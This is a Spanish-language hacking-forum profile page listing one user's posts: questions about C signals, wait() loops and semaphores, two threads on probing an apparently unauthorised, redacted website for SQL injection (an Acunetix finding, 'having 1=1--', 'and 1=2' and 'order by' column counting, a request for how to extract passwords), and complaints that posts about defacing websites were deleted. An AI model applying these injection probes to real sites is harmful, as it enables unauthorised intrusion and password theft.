elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Los 10 CVE más críticos (peligrosos) de 2020


  Mostrar Mensajes
Páginas: [1]
1  Programación / Programación C/C++ / Re: Pregunta sobre señales y semaforos en: 2 Septiembre 2010, 02:47 am

Es un simple delay.

¿pero si se quita sigue funcionando el programa igualmente?


Citar
Revisaste los valores de retorno de wait?


RETURN VALUE

The process ID of the child which exited, or zero if WNOHANG was used and no child was available, or -1 on error (in which case errno is set to an appropriate value).
ERRORS

EINTR
    if WNOHANG was not set and an unblocked signal or a SIGCHLD was caught.

Entiendo los valores de retorno (o eso creo), pero no comprendo que hace exactamente ese codigo ni para que sirve. Me voy a referir a este es que es el que pone habitualmente:
Código:
waitreturn = wait (&status);
while ( (waitreturn !=-1) || (waitreturn == -1 && errno == EINTR))
waitreturn = wait (&status);

Wait retorna el pid del hijo que termine. Luego dice que retorna 0 ¿si no retorna ninguno y ninguno esta disponible? No se que quiere decir eso... y luego -1 si hay error.

¿esta esperando procesos hijos hasta que wait retorne -1 y errno != EINTR? ¿por que?

El otro tampoco lo entiendo... ¿childpid que toma 0 o 1 y lo compara con el wait?
Bueno a ver si puedes aclarar esto


Código:
Por que no le ves sentido? están inicializados de esa forma porque el recurso no puede ser utilizado por mas de un proceso al mismo tiempo. Es un ejemplo básico de la idea de los semáforos de exclusión mutua.

Para mi que no haria falta utilizar el excmut, que ya quedaria garantizada la exclusion mutua con solo el libre y el ocupado



Un saludo!
2  Programación / Programación C/C++ / Pregunta sobre señales y semaforos en: 28 Agosto 2010, 05:44 am
Hola, tengo dudas sobre unos problemas, a ver si me las pueden aclarar. En este problema el proceso padre crea 3 hijos. Los 2 primeros hijos envian las señales sigusr1 y sigusr2 al padre respectivamente.

int main(int argc, char* argv[])
{
for (i=0;i<3;i++) { //tres veces

if(padre==1){ //sólo el padre replica

childpid = fork();

if (childpid == 0){
sleep(3);

/* Hijos */
if(i==0) //primer hijo envia señal SIGUSR1
kill(getppid(), SIGUSR2) == 1);

if(i==1) //segundo hijo envia señal SIGUSR2
kill(getppid(), SIGUSR2);

if(i==2)
printf("hijo3");
padre=0; //break; //los hijos ya no entran en el bucle otra vez
}// fin hijos

else { /* Padre */
if (signal(SIGUSR1, manejador_sigusr1)== SIG_ERR ||
signal(SIGUSR2, manejador_sigusr2)== SIG_ERR){
perror("Manejador no asignado");
exit(EXIT_FAILURE);
}
printf("padre: i=%d\n",i);
while (childpid != wait (&status))
if ((childpid == 1) && (errno != EINTR));
padre=1;

return 0;
}

Las cosas que no entiendo las he señalado en negrita. ¿para que necesita hacer un sleep(3)? Lo he visto en muchos problemas y no se para que sirve, se que durme el proceso durante 3 segundos, ¿pero para que quiere dormirlo? No lo entiendo.
Tampoco entiendo lo de

Código:
while (childpid != wait (&status))
if ((childpid == 1) && (errno != EINTR));

En otros problemas similares pones esto:

Código:
waitreturn = wait (&status);
while ( (waitreturn !=-1) || (waitreturn == -1 && errno == EINTR))
waitreturn = wait (&status);

¿por que no pone solamente wait(NULL)? Que espere a todos los hijos y ya esta, no entiendo todo ese codigo. wait(&status) devuelve el codigo del hijo y ahora lo compara con ¿-1? ¿wait devuelve -1 si da error? Aun asi no entiendo la comparacion.
Por ultimo no entiendo eso de if(padre==1)... para mi que sobra.

Bueno, para terminar una breve pregunta sobre semaforos.

Código:
libre=Semaph_create("libre",1);
libre=Semaph_create("ocupado",0);

//proceso 1
while(1){

down(libre);
down(excmut);
almacenar_elemento();
up(excmut);
up(ocupado);}

//proceso 2

while(1){

down(ocupado);
down(excmut);
almacenar_elemento();
up(excmut);
up(libre);}
¿tiene sentido aqui utilizar el semaforo excmut de exclusion mutua? Yo lo veo necesario si por ejemplo el semaforo libre estuviera inicializado a 10 y no a 1... y es que no veo ningun caso en el que 2 procesos puedan ejecutarse la sección critica a la vez... otra cosa es que se produzca una interrupcion o algo en la sección critica, pero eso no tiene nada que ver con definir un semaforo excmut...

Bueno, ojala me podais resolver algunas dudas, muchas gracias y hasta mañana.
3  Seguridad Informática / Nivel Web / Re: Inyeccion SQL, ¿es vulnerable esta web? en: 30 Agosto 2009, 03:30 am
lo que pasa esque idBoletin contiene un valor incorrecto y por eso cada ves que haces pruebas con ese valor te arroja error.

Error:
***** index.php?op=InfoLey&idLey=6147 and 1=2

No da error:
***** index.php?op=InfoLey&idLey=6147 and 1=1

No da error
***** index.php?op=InfoLey&idLey=6147 order by 6

No da error
***** index.php?op=InfoLey&idLey=6147 order by 7

No da error
***** index.php?op=InfoLey&idLey=6147 order by 8

da error
***** index.php?op=InfoLey&idLey=6147 order by 9

Entonces es una tabla de 8 columnas que si tiene inyección sql.

Pues en la variables esta: ****/?op=Leyes&idBoletin
que yo te puse no funciona lo de 1=1 o 1=2 ni el order by...

¿pero como se puede hacer la inyeccion para sacar los pass? No te da errores que te vayan diciendo el nombre de las tablas ni los campos usando union select y todo eso.


4  Seguridad Informática / Nivel Web / Inyeccion SQL, ¿es vulnerable esta web? en: 28 Agosto 2009, 03:35 am
Resulta que estaba escaneando una web con el acunetix y me salto esta supuesta vulnerablidad SQL en esta variable:

****/?op=Leyes&idBoletin=111-222-1933email@address.tst

El servidor me da el siguiente mensaje de error:

No se ha podido realizar la consulta: select * from leyes where id_publiOficial = 111-222-1933email@address.tst order by fecha desc; Error: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '@address.tst order by fecha desc' at line 1

De hay solo saco que hay una tabla llamada leyes y una columna llamada oficina.

Y ahora intento sacar las datos usando lo tipico, el having 1=1-- primero, dejando la url asi:

****/?op=Leyes&idBoletin=111-222-1933email@address.tst'having 1=1--

Dandome el mismo mensaje de error pero añadiendo lo del having:

No se ha podido realizar la consulta: select * from leyes where id_publiOficial = 111-222-1933email@address.tst'having 1=1-- order by fecha desc; Error: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '@address.tst order by fecha desc' at line 1

Luego lo puse asi: ****/?op='having 1=1--

Y no me salio ningun mensaje de error...

Tambien probe con 2 comillas, con otras instrucciones, ¿es este sitio vulnerable? ¿Tengo que meter el having de otra manera?

Da mensajes de error, pero no te deja meter las comillas para hacer la inyeccion, las toma como un caracter mas me parece.

Gracias
5  Foros Generales / Sugerencias y dudas sobre el Foro / Re: Porke m borrar 2 post en: 30 Mayo 2006, 17:54 pm
¿ q pasa con defacear webs? ¿esta prohibido preguntar eso en el foro?¿
6  Foros Generales / Sugerencias y dudas sobre el Foro / Porke m borrar 2 post en: 30 Mayo 2006, 17:50 pm
A ver los admin porke m borran estos dos post, Duda sobre defacer webs (1) y (2), joder ya dije k m daba un error en la base de datos y k no podia ponerlo todo junto... Despues de todo el trabajo para escribirlo lo borrais, podrias aberlo puesto en un post solo xk yo no puedo... :-(
Páginas: [1]
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines